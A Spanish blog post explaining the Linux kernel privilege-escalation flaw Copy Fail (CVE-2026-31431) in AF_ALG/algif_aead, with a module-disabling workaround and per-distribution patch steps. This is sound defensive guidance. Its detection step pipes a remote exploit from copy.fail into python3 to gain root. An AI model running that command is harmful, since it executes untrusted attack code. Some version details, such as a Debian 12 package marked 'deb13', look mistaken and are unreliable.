Cómo comprobar y mitigar la vulnerabilidad Copy Fail (CVE-2026-31431) en GNU/Linux

Detecta si tu sistema GNU/Linux es vulnerable a Copy Fail (CVE-2026-31431) y aprende a aplicar el fix correctamente.

La vulnerabilidad conocida como Copy Fail (CVE-2026-31431) afecta al kernel de GNU/Linux y permite una posible escalada de privilegios mediante el uso de la interfaz criptográfica del kernel (AF_ALG).

Esta vulnerabilidad ha sido documentada públicamente en el sitio oficial del exploit y está registrada en fuentes oficiales de cada distro.

¿En qué consiste la vulnerabilidad?

El problema se origina en una optimización introducida en 2017 en el subsistema algif_aead del kernel.

Según el análisis publicado en el propio sitio del exploit, esta optimización permite que páginas de memoria del page cache acaben siendo reutilizadas en contextos donde pueden ser modificadas, lo que abre la puerta a:

  • Corrupción de memoria
  • Escritura en zonas no previstas
  • Escalada de privilegios (root)

El vector de ataque utiliza sockets AF_ALG, una interfaz del kernel para operaciones criptográficas. Esto no afecta a usos comunes de criptografía como OpenSSL/GnuTLS, SSH, LUKS/dm-crypt o TLS en el kernel. Pero si afecta cuando se usa explícitamente AF_ALG desde espacio del usuario o algunas configuraciones específicas en engines criptográficos.

Cómo comprobar si eres vulnerable

Puedes usar el exploit de prueba:

curl https://copy.fail/exp | python3
  • Si no obtienes root al ejecutar el script y te aparece un error, el sistema es probable que esté parcheado.
  • Si consigues root al momento, tu sistema es vulnerable.
⚠️
Este test ejecuta código externo. Úsalo solo en entornos controlados.

Mitigación temporal

En la página del exploit comentan que mientras no haya un parce oficial por la distribución, se pueden ejecutar este comando para desactivar el módulo del kernel.

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
⚠️
Esto desactiva el módulo vulnerable. Aún así es muy recomendable actualizar los paquetes de los repositorios tal y como se explica a continuación.

Cómo solucionarlo (actualización)

La solución principal es actualizar el paquete afectado, que depende de la distribución.

Debian 12 "Bookworm"

Debes actualizar el kernel a una versión parcheada:

apt update

Revisa los paquetes disponibles para actualizar con:

apt list --upgradable

Tienes que revisar que hay disponible una actualización del paquete linux-image-6.1.170+deb13-amd64 en su versión 6.1.170-1.

Tras actualizar paquetes, es necesario reiniciar para aplicar el nuevo kernel que debe ser este o superior:

$ uname -r
6.1.170+deb13-amd64

Debian 13 "Trixie"

Debes actualizar el kernel a una versión parcheada:

apt update

Revisa los paquetes disponibles para actualizar con:

apt list --upgradable

Tienes que revisar que hay disponible una actualización del paquete linux-image-6.12.85+deb13-amd64 en su versión 6.12.85-1.

Tras actualizar paquetes, es necesario reiniciar para aplicar el nuevo kernel que debe ser este o superior:

$ uname -r
6.12.85+deb13-amd64#

Ubuntu 22.04 / 24.04

Ubuntu para aplicar el parche no ha parcheado el kernel. El parche lo hace a través del paquete kmod que lo usa par aplicar mitigaciones.

El paquete kmod proporciona las herramientas básicas en GNU/Linux para gestionar módulos del kernel, es decir, componentes que se pueden cargar y descargar dinámamente sin reiniciar el sistema. Incluye utilidades como modprobe, lsmod, insmod o rmmod, que permiten cargar drivers, listar módulos activos o eliminarlos en caliente. Además, se encarga de resolver dependencias entre módulos y aplicar configuraciones definidas en /etc/modprobe.d/.

Por tanto, nos tenemos que fijar que haya una actualización disponible para kmod en ver del linux-image.

apt update
apt upgrade

Y verifica:

dpkg -l | grep kmod

Para Ubuntu 22.04 el paquete kmod tiene que ser la versión 29-1ubuntu1.1 y para Ubuntu 24.04 el paquete kmod debe ser la versión 31+20240202-2ubuntu7.2.

AlmaLinux 8/9/10

Para las diferentes versiones de AlmaLinux es necesario actualizar el kernel del repositorio de testing, para ello es necesario añadirlo:

sudo dnf install -y almalinux-release-testing

Y actualizamos el paquete:

dnf update 'kernel*' --enablerepo=almalinux-testing

Tras esto, es necesario reiniciar. Comprueba el kernel con uname -r al iniciar de nuevo el sistema operativo y comprueba que sea el que toca por cada versión de AlmaLinux:

Distribución Kernel parcheado
AlmaLinux 8 kernel-4.18.0-553.121.1.el8_10
AlmaLinux 9 kernel-5.14.0-611.49.2.el9_7
AlmaLinux 10 kernel-6.12.0-124.52.2.el10_1

Rocky Linux 8 y 9

Para Rocky Linux únicamente es necesario actualizar el kernel desde los mismos repositorios oficiales:

dnf update kernel*
reboot

Hay que revisar luego que se haya instalado el kernel según la versión que tengamos:

Distribución Versión Kernel
Rocky Linux 9 LTS 9.2 kernel-5.14.0-284.30.1+27.1.el9_2_ciq
Rocky Linux 9 LTS 9.4 kernel-5.14.0-427.42.1+19.1.el9_4_ciq
Rocky Linux 9 LTS 9.6 kernel-5.14.0-570.60.1+8.1.el9_6_ciq
Rocky Linux 8 LTS 8.6 kernel-4.18.0-372.32.1+24.1.el8_6_ciq
Rocky Linux LTS 8.10 kernel-4.18.0-553.120.1+3.2.el8_10_ciq

Alpine Linux

Alpine depende del kernel instalado, no de la libc (musl). Así que también es necesario actualizar el kernel:

apk update
apk upgrade

Verificar kernel:

uname -r

Si el kernel incluye el commit el kernel está parcheado.

Conclusión

La vulnerabilidad Copy Fail (CVE-2026-31431) pone de manifiesto cómo una optimización aparentemente inocua en el kernel puede derivar en un problema de seguridad crítico años después. Aunque su explotación requiere condiciones específicas (uso de AF_ALG desde espacio de usuario), el impacto potencial justifica tratarla como prioritaria en cualquier sistema GNU/Linux. Afortunadamente, los principales distribuidores ya han publicado parches o mitigaciones, por lo que en la mayoría de entornos basta con mantener el sistema actualizado para estar protegido.


Más sobre ./voidNull

Haz que cada palabra cuente: tu donación nos inspira a seguir creando contenido. Accede al apartado de Donación para hacer tu aportación